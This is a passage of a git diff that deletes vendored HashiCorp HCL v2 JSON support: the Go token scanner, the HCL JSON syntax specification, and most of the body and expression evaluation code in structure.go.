b/vendor/github.com/hashicorp/hcl/v2/json/scanner.go deleted file mode 100644 index ff78a9b587..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/scanner.go +++ /dev/null @@ -1,306 +0,0 @@ -package json - -import ( - "fmt" - - "github.com/apparentlymart/go-textseg/v12/textseg" - "github.com/hashicorp/hcl/v2" -) - -//go:generate stringer -type tokenType scanner.go -type tokenType rune - -const ( - tokenBraceO tokenType = '{' - tokenBraceC tokenType = '}' - tokenBrackO tokenType = '[' - tokenBrackC tokenType = ']' - tokenComma tokenType = ',' - tokenColon tokenType = ':' - tokenKeyword tokenType = 'K' - tokenString tokenType = 'S' - tokenNumber tokenType = 'N' - tokenEOF tokenType = '␄' - tokenInvalid tokenType = 0 - tokenEquals tokenType = '=' // used only for reminding the user of JSON syntax -) - -type token struct { - Type tokenType - Bytes []byte - Range hcl.Range -} - -// scan returns the primary tokens for the given JSON buffer in sequence. -// -// The responsibility of this pass is to just mark the slices of the buffer -// as being of various types. It is lax in how it interprets the multi-byte -// token types keyword, string and number, preferring to capture erroneous -// extra bytes that we presume the user intended to be part of the token -// so that we can generate more helpful diagnostics in the parser. -func scan(buf []byte, start pos) []token { - var tokens []token - p := start - for { - if len(buf) == 0 { - tokens = append(tokens, token{ - Type: tokenEOF, - Bytes: nil, - Range: posRange(p, p), - }) - return tokens - } - - buf, p = skipWhitespace(buf, p) - - if len(buf) == 0 { - tokens = append(tokens, token{ - Type: tokenEOF, - Bytes: nil, - Range: posRange(p, p), - }) - return tokens - } - - start = p - - first := buf[0] - switch { - case first == '{' || first == '}' || first == '[' || first == ']' || first == ',' || first == ':' || first == '=': - p.Pos.Column++ - p.Pos.Byte++ - tokens = append(tokens, token{ - Type: tokenType(first), - Bytes: buf[0:1], - Range: posRange(start, p), - }) - buf = buf[1:] - case first == '"': - var tokBuf []byte - tokBuf, buf, p = scanString(buf, p) - tokens = append(tokens, token{ - Type: tokenString, - Bytes: tokBuf, - Range: posRange(start, p), - }) - case byteCanStartNumber(first): - var tokBuf []byte - tokBuf, buf, p = scanNumber(buf, p) - tokens = append(tokens, token{ - Type: tokenNumber, - Bytes: tokBuf, - Range: posRange(start, p), - }) - case byteCanStartKeyword(first): - var tokBuf []byte - tokBuf, buf, p = scanKeyword(buf, p) - tokens = append(tokens, token{ - Type: tokenKeyword, - Bytes: tokBuf, - Range: posRange(start, p), - }) - default: - tokens = append(tokens, token{ - Type: tokenInvalid, - Bytes: buf[:1], - Range: start.Range(1, 1), - }) - // If we've encountered an invalid then we might as well stop - // scanning since the parser won't proceed beyond this point. - // We insert a synthetic EOF marker here to match the expectations - // of consumers of this data structure. - p.Pos.Column++ - p.Pos.Byte++ - tokens = append(tokens, token{ - Type: tokenEOF, - Bytes: nil, - Range: posRange(p, p), - }) - return tokens - } - } -} - -func byteCanStartNumber(b byte) bool { - switch b { - // We are slightly more tolerant than JSON requires here since we - // expect the parser will make a stricter interpretation of the - // number bytes, but we specifically don't allow 'e' or 'E' here - // since we want the scanner to treat that as the start of an - // invalid keyword instead, to produce more intelligible error messages. - case '-', '+', '.', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': - return true - default: - return false - } -} - -func scanNumber(buf []byte, start pos) ([]byte, []byte, pos) { - // The scanner doesn't check that the sequence of digit-ish bytes is - // in a valid order. The parser must do this when decoding a number - // token. - var i int - p := start -Byte: - for i = 0; i < len(buf); i++ { - switch buf[i] { - case '-', '+', '.', 'e', 'E', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': - p.Pos.Byte++ - p.Pos.Column++ - default: - break Byte - } - } - return buf[:i], buf[i:], p -} - -func byteCanStartKeyword(b byte) bool { - switch { - // We allow any sequence of alphabetical characters here, even though - // JSON is more constrained, so that we can collect what we presume - // the user intended to be a single keyword and then check its validity - // in the parser, where we can generate better diagnostics. - // So e.g. we want to be able to say: - // unrecognized keyword "True". Did you mean "true"? - case isAlphabetical(b): - return true - default: - return false - } -} - -func scanKeyword(buf []byte, start pos) ([]byte, []byte, pos) { - var i int - p := start -Byte: - for i = 0; i < len(buf); i++ { - b := buf[i] - switch { - case isAlphabetical(b) || b == '_': - p.Pos.Byte++ - p.Pos.Column++ - default: - break Byte - } - } - return buf[:i], buf[i:], p -} - -func scanString(buf []byte, start pos) ([]byte, []byte, pos) { - // The scanner doesn't validate correct use of escapes, etc. It pays - // attention to escapes only for the purpose of identifying the closing - // quote character. It's the parser's responsibility to do proper - // validation. - // - // The scanner also doesn't specifically detect unterminated string - // literals, though they can be identified in the parser by checking if - // the final byte in a string token is the double-quote character. - - // Skip the opening quote symbol - i := 1 - p := start - p.Pos.Byte++ - p.Pos.Column++ - escaping := false -Byte: - for i < len(buf) { - b := buf[i] - - switch { - case b == '\\': - escaping = !escaping - p.Pos.Byte++ - p.Pos.Column++ - i++ - case b == '"': - p.Pos.Byte++ - p.Pos.Column++ - i++ - if !escaping { - break Byte - } - escaping = false - case b < 32: - break Byte - default: - // Advance by one grapheme cluster, so that we consider each - // grapheme to be a "column". - // Ignoring error because this scanner cannot produce errors. - advance, _, _ := textseg.ScanGraphemeClusters(buf[i:], true) - - p.Pos.Byte += advance - p.Pos.Column++ - i += advance - - escaping = false - } - } - return buf[:i], buf[i:], p -} - -func skipWhitespace(buf []byte, start pos) ([]byte, pos) { - var i int - p := start -Byte: - for i = 0; i < len(buf); i++ { - switch buf[i] { - case ' ': - p.Pos.Byte++ - p.Pos.Column++ - case '\n': - p.Pos.Byte++ - p.Pos.Column = 1 - p.Pos.Line++ - case '\r': - // For the purpose of line/column counting we consider a - // carriage return to take up no space, assuming that it will - // be paired up with a newline (on Windows, for example) that - // will account for both of them. - p.Pos.Byte++ - case '\t': - // We arbitrarily count a tab as if it were two spaces, because - // we need to choose _some_ number here. This means any system - // that renders code on-screen with markers must itself treat - // tabs as a pair of spaces for rendering purposes, or instead - // use the byte offset and back into its own column position. - p.Pos.Byte++ - p.Pos.Column += 2 - default: - break Byte - } - } - return buf[i:], p -} - -type pos struct { - Filename string - Pos hcl.Pos -} - -func (p *pos) Range(byteLen, charLen int) hcl.Range { - start := p.Pos - end := p.Pos - end.Byte += byteLen - end.Column += charLen - return hcl.Range{ - Filename: p.Filename, - Start: start, - End: end, - } -} - -func posRange(start, end pos) hcl.Range { - return hcl.Range{ - Filename: start.Filename, - Start: start.Pos, - End: end.Pos, - } -} - -func (t token) GoString() string { - return fmt.Sprintf("json.token{json.%s, []byte(%q), %#v}", t.Type, t.Bytes, t.Range) -} - -func isAlphabetical(b byte) bool { - return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z') -} diff --git a/vendor/github.com/hashicorp/hcl/v2/json/spec.md b/vendor/github.com/hashicorp/hcl/v2/json/spec.md deleted file mode 100644 index dac5729d48..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/spec.md +++ /dev/null @@ -1,405 +0,0 @@ -# HCL JSON Syntax Specification - -This is the specification for the JSON serialization for hcl. HCL is a system -for defining configuration languages for applications. The HCL information -model is designed to support multiple concrete syntaxes for configuration, -and this JSON-based format complements [the native syntax](../hclsyntax/spec.md) -by being easy to machine-generate, whereas the native syntax is oriented -towards human authoring and maintenance - -This syntax is defined in terms of JSON as defined in -[RFC7159](https://tools.ietf.org/html/rfc7159). As such it inherits the JSON -grammar as-is, and merely defines a specific methodology for interpreting -JSON constructs into HCL structural elements and expressions. - -This mapping is defined such that valid JSON-serialized HCL input can be -_produced_ using standard JSON implementations in various programming languages. -_Parsing_ such JSON has some additional constraints not beyond what is normally -supported by JSON parsers, so a specialized parser may be required that -is able to: - -- Preserve the relative ordering of properties defined in an object. -- Preserve multiple definitions of the same property name. -- Preserve numeric values to the precision required by the number type - in [the HCL syntax-agnostic information model](../spec.md). -- Retain source location information for parsed tokens/constructs in order - to produce good error messages. - -## Structural Elements - -[The HCL syntax-agnostic information model](../spec.md) defines a _body_ as an -abstract container for attribute definitions and child blocks. A body is -represented in JSON as either a single JSON object or a JSON array of objects. - -Body processing is in terms of JSON object properties, visited in the order -they appear in the input. Where a body is represented by a single JSON object, -the properties of that object are visited in order. Where a body is -represented by a JSON array, each of its elements are visited in order and -each element has its properties visited in order. If any element of the array -is not a JSON object then the input is erroneous. - -When a body is being processed in the _dynamic attributes_ mode, the allowance -of a JSON array in the previous paragraph does not apply and instead a single -JSON object is always required. - -As defined in the language-agnostic model, body processing is in terms -of a schema which provides context for interpreting the body's content. For -JSON bodies, the schema is crucial to allow differentiation of attribute -definitions and block definitions, both of which are represented via object -properties. - -The special property name `"//"`, when used in an object representing a HCL -body, is parsed and ignored. A property with this name can be used to -include human-readable comments. (This special property name is _not_ -processed in this way for any _other_ HCL constructs that are represented as -JSON objects.) - -### Attributes - -Where the given schema describes an attribute with a given name, the object -property with the matching name — if present — serves as the attribute's -definition. - -When a body is being processed in the _dynamic attributes_ mode, each object -property serves as an attribute definition for the attribute whose name -matches the property name. - -The value of an attribute definition property is interpreted as an _expression_, -as described in a later section. - -Given a schema that calls for an attribute named "foo", a JSON object like -the following provides a definition for that attribute: - -```json -{ - "foo": "bar baz" -} -``` - -### Blocks - -Where the given schema describes a block with a given type name, each object -property with the matching name serves as a definition of zero or more blocks -of that type. - -Processing of child blocks is in terms of nested JSON objects and arrays. -If the schema defines one or more _labels_ for the block type, a nested JSON -object or JSON array of objects is required for each labelling level. These -are flattened to a single ordered sequence of object properties using the -same algorithm as for body content as defined above. Each object property -serves as a label value at the corresponding level. - -After any labelling levels, the next nested value is either a JSON object -representing a single block body, or a JSON array of JSON objects that each -represent a single block body. Use of an array accommodates the definition -of multiple blocks that have identical type and labels. - -Given a schema that calls for a block type named "foo" with no labels, the -following JSON objects are all valid definitions of zero or more blocks of this -type: - -```json -{ - "foo": { - "child_attr": "baz" - } -} -``` - -```json -{ - "foo": [ - { - "child_attr": "baz" - }, - { - "child_attr": "boz" - } - ] -} -``` - -```json -{ - "foo": [] -} -``` - -The first of these defines a single child block of type "foo". The second -defines _two_ such blocks. The final example shows a degenerate definition -of zero blocks, though generators should prefer to omit the property entirely -in this scenario. - -Given a schema that calls for a block type named "foo" with _two_ labels, the -extra label levels must be represented as objects or arrays of objects as in -the following examples: - -```json -{ - "foo": { - "bar": { - "baz": { - "child_attr": "baz" - }, - "boz": { - "child_attr": "baz" - } - }, - "boz": { - "baz": { - "child_attr": "baz" - } - } - } -} -``` - -```json -{ - "foo": { - "bar": { - "baz": { - "child_attr": "baz" - }, - "boz": { - "child_attr": "baz" - } - }, - "boz": { - "baz": [ - { - "child_attr": "baz" - }, - { - "child_attr": "boz" - } - ] - } - } -} -``` - -```json -{ - "foo": [ - { - "bar": { - "baz": { - "child_attr": "baz" - }, - "boz": { - "child_attr": "baz" - } - } - }, - { - "bar": { - "baz": [ - { - "child_attr": "baz" - }, - { - "child_attr": "boz" - } - ] - } - } - ] -} -``` - -```json -{ - "foo": { - "bar": { - "baz": { - "child_attr": "baz" - }, - "boz": { - "child_attr": "baz" - } - }, - "bar": { - "baz": [ - { - "child_attr": "baz" - }, - { - "child_attr": "boz" - } - ] - } - } -} -``` - -Arrays can be introduced at either the label definition or block body -definition levels to define multiple definitions of the same block type -or labels while preserving order. - -A JSON HCL parser _must_ support duplicate definitions of the same property -name within a single object, preserving all of them and the relative ordering -between them. The array-based forms are also required so that JSON HCL -configurations can be produced with JSON producing libraries that are not -able to preserve property definition order and multiple definitions of -the same property. - -## Expressions - -JSON lacks a native expression syntax, so the HCL JSON syntax instead defines -a mapping for each of the JSON value types, including a special mapping for -strings that allows optional use of arbitrary expressions. - -### Objects - -When interpreted as an expression, a JSON object represents a value of a HCL -object type. - -Each property of the JSON object represents an attribute of the HCL object type. -The property name string given in the JSON input is interpreted as a string -expression as described below, and its result is converted to string as defined -by the syntax-agnostic information model. If such a conversion is not possible, -an error is produced and evaluation fails. - -An instance of the constructed object type is then created, whose values -are interpreted by again recursively applying the mapping rules defined in -this section to each of the property values. - -If any evaluated property name strings produce null values, an error is -produced and evaluation fails. If any produce _unknown_ values, the _entire -object's_ result is an unknown value of the dynamic pseudo-type, signalling -that the type of the object cannot be determined. - -It is an error to define the same property name multiple times within a single -JSON object interpreted as an expression. In full expression mode, this -constraint applies to the name expression results after conversion to string, -rather than the raw string that may contain interpolation expressions. - -### Arrays - -When interpreted as an expression, a JSON array represents a value of a HCL -tuple type. - -Each element of the JSON array represents an element of the HCL tuple type. -The tuple type is constructed by enumerating the JSON array elements, creating -for each an element whose type is the result of recursively applying the -expression mapping rules. Correspondence is preserved between the array element -indices and the tuple element indices. - -An instance of the constructed tuple type is then created, whose values are -interpreted by again recursively applying the mapping rules defined in this -section. - -### Numbers - -When interpreted as an expression, a JSON number represents a HCL number value. - -HCL numbers are arbitrary-precision decimal values, so a JSON HCL parser must -be able to translate exactly the value given to a number of corresponding -precision, within the constraints set by the HCL syntax-agnostic information -model. - -In practice, off-the-shelf JSON serializers often do not support customizing the -processing of numbers, and instead force processing as 32-bit or 64-bit -floating point values. - -A _producer_ of JSON HCL that uses such a serializer can provide numeric values -as JSON strings where they have precision too great for representation in the -serializer's chosen numeric type in situations where the result will be -converted to number (using the standard conversion rules) by a calling -application. - -Alternatively, for expressions that are evaluated in full expression mode an -embedded template interpolation can be used to faithfully represent a number, -such as `"${1e150}"`, which will then be evaluated by the underlying HCL native -syntax expression evaluator. - -### Boolean Values - -The JSON boolean values `true` and `false`, when interpreted as expressions, -represent the corresponding HCL boolean values. - -### The Null Value - -The JSON value `null`, when interpreted as an expression, represents a -HCL null value of the dynamic pseudo-type. - -### Strings - -When interpreted as an expression, a JSON string may be interpreted in one of -two ways depending on the evaluation mode. - -If evaluating in literal-only mode (as defined by the syntax-agnostic -information model) the literal string is intepreted directly as a HCL string -value, by directly using the exact sequence of unicode characters represented. -Template interpolations and directives MUST NOT be processed in this mode, -allowing any characters that appear as introduction sequences to pass through -literally: - -```json -"Hello world! Template sequences like ${ are not intepreted here." -``` - -When evaluating in full expression mode (again, as defined by the syntax- -agnostic information model) the literal string is instead interpreted as a -_standalone template_ in the HCL Native Syntax. The expression evaluation -result is then the direct result of evaluating that template with the current -variable scope and function table. - -```json -"Hello, ${name}! Template sequences are interpreted in full expression mode." -``` - -In particular the _Template Interpolation Unwrapping_ requirement from the -HCL native syntax specification must be implemented, allowing the use of -single-interpolation templates to represent expressions that would not -otherwise be representable in JSON, such as the following example where -the result must be a number, rather than a string representation of a number: - -```json -"${ a + b }" -``` - -## Static Analysis - -The HCL static analysis operations are implemented for JSON values that -represent expressions, as described in the following sections. - -Due to the limited expressive power of the JSON syntax alone, use of these -static analyses functions rather than normal expression evaluation is used -as additional context for how a JSON value is to be interpreted, which means -that static analyses can result in a different interpretation of a given -expression than normal evaluation. - -### Static List - -An expression interpreted as a static list must be a JSON array. Each of the -values in the array is interpreted as an expression and returned. - -### Static Map - -An expression interpreted as a static map must be a JSON object. Each of the -key/value pairs in the object is presented as a pair of expressions. Since -object property names are always strings, evaluating the key expression with -a non-`nil` evaluation context will evaluate any template sequences given -in the property name. - -### Static Call - -An expression interpreted as a static call must be a string. The content of -the string is interpreted as a native syntax expression (not a _template_, -unlike normal evaluation) and then the static call analysis is delegated to -that expression. - -If the original expression is not a string or its contents cannot be parsed -as a native syntax expression then static call analysis is not supported. - -### Static Traversal - -An expression interpreted as a static traversal must be a string. The content -of the string is interpreted as a native syntax expression (not a _template_, -unlike normal evaluation) and then static traversal analysis is delegated -to that expression. - -If the original expression is not a string or its contents cannot be parsed -as a native syntax expression then static call analysis is not supported. diff --git a/vendor/github.com/hashicorp/hcl/v2/json/structure.go b/vendor/github.com/hashicorp/hcl/v2/json/structure.go deleted file mode 100644 index 76c9d73999..0000000000 --- a/vendor/github.com/hashicorp/hcl/v2/json/structure.go +++ /dev/null @@ -1,637 +0,0 @@ -package json - -import ( - "fmt" - - "github.com/hashicorp/hcl/v2" - "github.com/hashicorp/hcl/v2/hclsyntax" - "github.com/zclconf/go-cty/cty" - "github.com/zclconf/go-cty/cty/convert" -) - -// body is the implementation of "Body" used for files processed with the JSON -// parser. -type body struct { - val node - - // If non-nil, the keys of this map cause the corresponding attributes to - // be treated as non-existing. This is used when Body.PartialContent is - // called, to produce the "remaining content" Body. - hiddenAttrs map[string]struct{} -} - -// expression is the implementation of "Expression" used for files processed -// with the JSON parser. -type expression struct { - src node -} - -func (b *body) Content(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Diagnostics) { - content, newBody, diags := b.PartialContent(schema) - - hiddenAttrs := newBody.(*body).hiddenAttrs - - var nameSuggestions []string - for _, attrS := range schema.Attributes { - if _, ok := hiddenAttrs[attrS.Name]; !ok { - // Only suggest an attribute name if we didn't use it already. - nameSuggestions = append(nameSuggestions, attrS.Name) - } - } - for _, blockS := range schema.Blocks { - // Blocks can appear multiple times, so we'll suggest their type - // names regardless of whether they've already been used. - nameSuggestions = append(nameSuggestions, blockS.Type) - } - - jsonAttrs, attrDiags := b.collectDeepAttrs(b.val, nil) - diags = append(diags, attrDiags...) - - for _, attr := range jsonAttrs { - k := attr.Name - if k == "//" { - // Ignore "//" keys in objects representing bodies, to allow - // their use as comments. - continue - } - - if _, ok := hiddenAttrs[k]; !ok { - suggestion := nameSuggestion(k, nameSuggestions) - if suggestion != "" { - suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) - } - - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Extraneous JSON object property", - Detail: fmt.Sprintf("No argument or block type is named %q.%s", k, suggestion), - Subject: &attr.NameRange, - Context: attr.Range().Ptr(), - }) - } - } - - return content, diags -} - -func (b *body) PartialContent(schema *hcl.BodySchema) (*hcl.BodyContent, hcl.Body, hcl.Diagnostics) { - var diags hcl.Diagnostics - - jsonAttrs, attrDiags := b.collectDeepAttrs(b.val, nil) - diags = append(diags, attrDiags...) - - usedNames := map[string]struct{}{} - if b.hiddenAttrs != nil { - for k := range b.hiddenAttrs { - usedNames[k] = struct{}{} - } - } - - content := &hcl.BodyContent{ - Attributes: map[string]*hcl.Attribute{}, - Blocks: nil, - - MissingItemRange: b.MissingItemRange(), - } - - // Create some more convenient data structures for our work below. - attrSchemas := map[string]hcl.AttributeSchema{} - blockSchemas := map[string]hcl.BlockHeaderSchema{} - for _, attrS := range schema.Attributes { - attrSchemas[attrS.Name] = attrS - } - for _, blockS := range schema.Blocks { - blockSchemas[blockS.Type] = blockS - } - - for _, jsonAttr := range jsonAttrs { - attrName := jsonAttr.Name - if _, used := b.hiddenAttrs[attrName]; used { - continue - } - - if attrS, defined := attrSchemas[attrName]; defined { - if existing, exists := content.Attributes[attrName]; exists { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Duplicate argument", - Detail: fmt.Sprintf("The argument %q was already set at %s.", attrName, existing.Range), - Subject: &jsonAttr.NameRange, - Context: jsonAttr.Range().Ptr(), - }) - continue - } - - content.Attributes[attrS.Name] = &hcl.Attribute{ - Name: attrS.Name, - Expr: &expression{src: jsonAttr.Value}, - Range: hcl.RangeBetween(jsonAttr.NameRange, jsonAttr.Value.Range()), - NameRange: jsonAttr.NameRange, - } - usedNames[attrName] = struct{}{} - - } else if blockS, defined := blockSchemas[attrName]; defined { - bv := jsonAttr.Value - blockDiags := b.unpackBlock(bv, blockS.Type, &jsonAttr.NameRange, blockS.LabelNames, nil, nil, &content.Blocks) - diags = append(diags, blockDiags...) - usedNames[attrName] = struct{}{} - } - - // We ignore anything that isn't defined because that's the - // PartialContent contract. The Content method will catch leftovers. - } - - // Make sure we got all the required attributes. - for _, attrS := range schema.Attributes { - if !attrS.Required { - continue - } - if _, defined := content.Attributes[attrS.Name]; !defined { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing required argument", - Detail: fmt.Sprintf("The argument %q is required, but no definition was found.", attrS.Name), - Subject: b.MissingItemRange().Ptr(), - }) - } - } - - unusedBody := &body{ - val: b.val, - hiddenAttrs: usedNames, - } - - return content, unusedBody, diags -} - -// JustAttributes for JSON bodies interprets all properties of the wrapped -// JSON object as attributes and returns them. -func (b *body) JustAttributes() (hcl.Attributes, hcl.Diagnostics) { - var diags hcl.Diagnostics - attrs := make(map[string]*hcl.Attribute) - - obj, ok := b.val.(*objectVal) - if !ok { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Incorrect JSON value type", - Detail: "A JSON object is required here, setting the arguments for this block.", - Subject: b.val.StartRange().Ptr(), - }) - return attrs, diags - } - - for _, jsonAttr := range obj.Attrs { - name := jsonAttr.Name - if name == "//" { - // Ignore "//" keys in objects representing bodies, to allow - // their use as comments. - continue - } - - if _, hidden := b.hiddenAttrs[name]; hidden { - continue - } - - if existing, exists := attrs[name]; exists { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Duplicate attribute definition", - Detail: fmt.Sprintf("The argument %q was already set at %s.", name, existing.Range), - Subject: &jsonAttr.NameRange, - }) - continue - } - - attrs[name] = &hcl.Attribute{ - Name: name, - Expr: &expression{src: jsonAttr.Value}, - Range: hcl.RangeBetween(jsonAttr.NameRange, jsonAttr.Value.Range()), - NameRange: jsonAttr.NameRange, - } - } - - // No diagnostics possible here, since the parser already took care of - // finding duplicates and every JSON value can be a valid attribute value. - return attrs, diags -} - -func (b *body) MissingItemRange() hcl.Range { - switch tv := b.val.(type) { - case *objectVal: - return tv.CloseRange - case *arrayVal: - return tv.OpenRange - default: - // Should not happen in correct operation, but might show up if the - // input is invalid and we are producing partial results. - return tv.StartRange() - } -} - -func (b *body) unpackBlock(v node, typeName string, typeRange *hcl.Range, labelsLeft []string, labelsUsed []string, labelRanges []hcl.Range, blocks *hcl.Blocks) (diags hcl.Diagnostics) { - if len(labelsLeft) > 0 { - labelName := labelsLeft[0] - jsonAttrs, attrDiags := b.collectDeepAttrs(v, &labelName) - diags = append(diags, attrDiags...) - - if len(jsonAttrs) == 0 { - diags = diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Missing block label", - Detail: fmt.Sprintf("At least one object property is required, whose name represents the %s block's %s.", typeName, labelName), - Subject: v.StartRange().Ptr(), - }) - return - } - labelsUsed := append(labelsUsed, "") - labelRanges := append(labelRanges, hcl.Range{}) - for _, p := range jsonAttrs { - pk := p.Name - labelsUsed[len(labelsUsed)-1] = pk - labelRanges[len(labelRanges)-1] = p.NameRange - diags = append(diags, b.unpackBlock(p.Value, typeName, typeRange, labelsLeft[1:], labelsUsed, labelRanges, blocks)...) - } - return - } - - // By the time we get here, we've peeled off all the labels and we're ready - // to deal with the block's actual content. - - // need to copy the label slices because their underlying arrays will - // continue to be mutated after we return. - labels := make([]string, len(labelsUsed)) - copy(labels, labelsUsed) - labelR := make([]hcl.Range, len(labelRanges)) - copy(labelR, labelRanges) - - switch tv := v.(type) { - case *nullVal: - // There is no block content, e.g the value is null. - return - case *objectVal: - // Single instance of the block - *blocks = append(*blocks, &hcl.Block{ - Type: typeName, - Labels: labels, - Body: &body{ - val: tv, - }, - - DefRange: tv.OpenRange, - TypeRange: *typeRange, - LabelRanges: labelR, - }) - case *arrayVal: - // Multiple instances of the block - for _, av := range tv.Values { - *blocks = append(*blocks, &hcl.Block{ - Type: typeName, - Labels: labels, - Body: &body{ - val: av, // might be mistyped; we'll find out when content is requested for this body - }, - - DefRange: tv.OpenRange, - TypeRange: *typeRange, - LabelRanges: labelR, - }) - } - default: - diags = diags.Append(&hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Incorrect JSON value type", - Detail: fmt.Sprintf("Either a JSON object or a JSON array is required, representing the contents of one or more %q blocks.", typeName), - Subject: v.StartRange().Ptr(), - }) - } - return -} - -// collectDeepAttrs takes either a single object or an array of objects and -// flattens it into a list of object attributes, collecting attributes from -// all of the objects in a given array. -// -// Ordering is preserved, so a list of objects that each have one property -// will result in those properties being returned in the same order as the -// objects appeared in the array. -// -// This is appropriate for use only for objects representing bodies or labels -// within a block. -// -// The labelName argument, if non-null, is used to tailor returned error -// messages to refer to block labels rather than attributes and child blocks. -// It has no other effect. -func (b *body) collectDeepAttrs(v node, labelName *string) ([]*objectAttr, hcl.Diagnostics) { - var diags hcl.Diagnostics - var attrs []*objectAttr - - switch tv := v.(type) { - case *nullVal: - // If a value is null, then we don't return any attributes or return an error. - - case *objectVal: - attrs = append(attrs, tv.Attrs...) - - case *arrayVal: - for _, ev := range tv.Values { - switch tev := ev.(type) { - case *objectVal: - attrs = append(attrs, tev.Attrs...) - default: - if labelName != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Incorrect JSON value type", - Detail: fmt.Sprintf("A JSON object is required here, to specify %s labels for this block.", *labelName), - Subject: ev.StartRange().Ptr(), - }) - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Incorrect JSON value type", - Detail: "A JSON object is required here, to define arguments and child blocks.", - Subject: ev.StartRange().Ptr(), - }) - } - } - } - - default: - if labelName != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Incorrect JSON value type", - Detail: fmt.Sprintf("Either a JSON object or JSON array of objects is required here, to specify %s labels for this block.", *labelName), - Subject: v.StartRange().Ptr(), - }) - } else { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Incorrect JSON value type", - Detail: "Either a JSON object or JSON array of objects is required here, to define arguments and child blocks.", - Subject: v.StartRange().Ptr(), - }) - } - } - - return attrs, diags -} - -func (e *expression) Value(ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) { - switch v := e.src.(type) { - case *stringVal: - if ctx != nil { - // Parse string contents as a HCL native language expression. - // We only do this if we have a context, so passing a nil context - // is how the caller specifies that interpolations are not allowed - // and that the string should just be returned verbatim. - templateSrc := v.Value - expr, diags := hclsyntax.ParseTemplate( - []byte(templateSrc), - v.SrcRange.Filename, - - // This won't produce _exactly_ the right result, since - // the hclsyntax parser can't "see" any escapes we removed - // while parsing JSON, but it's better than nothing. - hcl.Pos{ - Line: v.SrcRange.Start.Line, - - // skip over the opening quote mark - Byte: v.SrcRange.Start.Byte + 1, - Column: v.SrcRange.Start.Column + 1, - }, - ) - if diags.HasErrors() { - return cty.DynamicVal, diags - } - val, evalDiags := expr.Value(ctx) - diags = append(diags, evalDiags...) - return val, diags - } - - return cty.StringVal(v.Value), nil - case *numberVal: - return cty.NumberVal(v.Value), nil - case *booleanVal: - return cty.BoolVal(v.Value), nil - case *arrayVal: - var diags hcl.Diagnostics - vals := []cty.Value{} - for _, jsonVal := range v.Values { - val, valDiags := (&expression{src: jsonVal}).Value(ctx) - vals = append(vals, val) - diags = append(diags, valDiags...) - } - return cty.TupleVal(vals), diags - case *objectVal: - var diags hcl.Diagnostics - attrs := map[string]cty.Value{} - attrRanges := map[string]hcl.Range{} - known := true - for _, jsonAttr := range v.Attrs { - // In this one context we allow keys to contain interpolation - // expressions too, assuming we're evaluating in interpolation - // mode. This achieves parity with the native syntax where - // object expressions can have dynamic keys, while block contents - // may not. - name, nameDiags := (&expression{src: &stringVal{ - Value: jsonAttr.Name, - SrcRange: jsonAttr.NameRange, - }}).Value(ctx) - valExpr := &expression{src: jsonAttr.Value} - val, valDiags := valExpr.Value(ctx) - diags = append(diags, nameDiags...) - diags = append(diags, valDiags...) - - var err error - name, err = convert.Convert(name, cty.String) - if err != nil { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid object key expression", - Detail: fmt.Sprintf("Cannot use this expression as an object key: %s.", err), - Subject: &jsonAttr.NameRange, - Expression: valExpr, - EvalContext: ctx, - }) - continue - } - if name.IsNull() { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Invalid object key expression", - Detail: "Cannot use null value as an object key.", - Subject: &jsonAttr.NameRange, - Expression: valExpr, - EvalContext: ctx, - }) - continue - } - if !name.IsKnown() { - // This is a bit of a weird case, since our usual rules require - // us to tolerate unknowns and just represent the result as - // best we can but if we don't know the key then we can't - // know the type of our object at all, and thus we must turn - // the whole thing into cty.DynamicVal. This is consistent with - // how this situation is handled in the native syntax. - // We'll keep iterating so we can collect other errors in - // subsequent attributes. - known = false - continue - } - nameStr := name.AsString() - if _, defined := attrs[nameStr]; defined { - diags = append(diags, &hcl.Diagnostic{ - Severity: hcl.DiagError, - Summary: "Duplicate object attribute", - Detail: fmt.Sprintf("An attribute named %q was already defined at %s.", nameStr, attrRanges[nameStr]), - Subject: &jsonAttr.NameRange, - Expression: e, - EvalContext: ctx, - }) - continue - } - attrs[nameStr] = val - attrRanges[nameStr] = jsonAttr.NameRange - } - if !known { - // We encountered an unknown key somewhere along the way, so - // we can't know what our type will eventually be. - return cty.DynamicVal, diags - } - return cty.ObjectVal(attrs), diags - case *nullVal: - return cty.NullVal(cty.DynamicPseudoType), nil - default: - // Default to DynamicVal so that ASTs containing invalid nodes can - // still be partially-evaluated. - return cty.DynamicVal, nil - } -} - -func (e *expression) Variables() []hcl.Traversal { - var vars []hcl.Traversal - - switch v := e.src.(type) { - case *stringVal: - templateSrc := v.Value - expr, diags := hclsyntax.ParseTemplate( - []byte(templateSrc), - v.SrcRange.Filename, - - // This won't produce _exactly_ the right result, since - // the hclsyntax parser can't "see" any escapes we removed - // while parsing JSON, but it's better than nothing. - hcl.Pos{ - Line: v.SrcRange.Start.Line, - - // skip over the opening quote mark - Byte: v.SrcRange.Start.Byte + 1, - Column: v.SrcRange.Start.Column + 1, - }, - ) - if diags.HasErrors() { - return vars - } - return expr.Variables() - - case *arrayVal: - for _, jsonVal := range v.Values { - vars = append(vars, (&expression{src: jsonVal}).Variables()...) - } - case *objectVal: - for _, 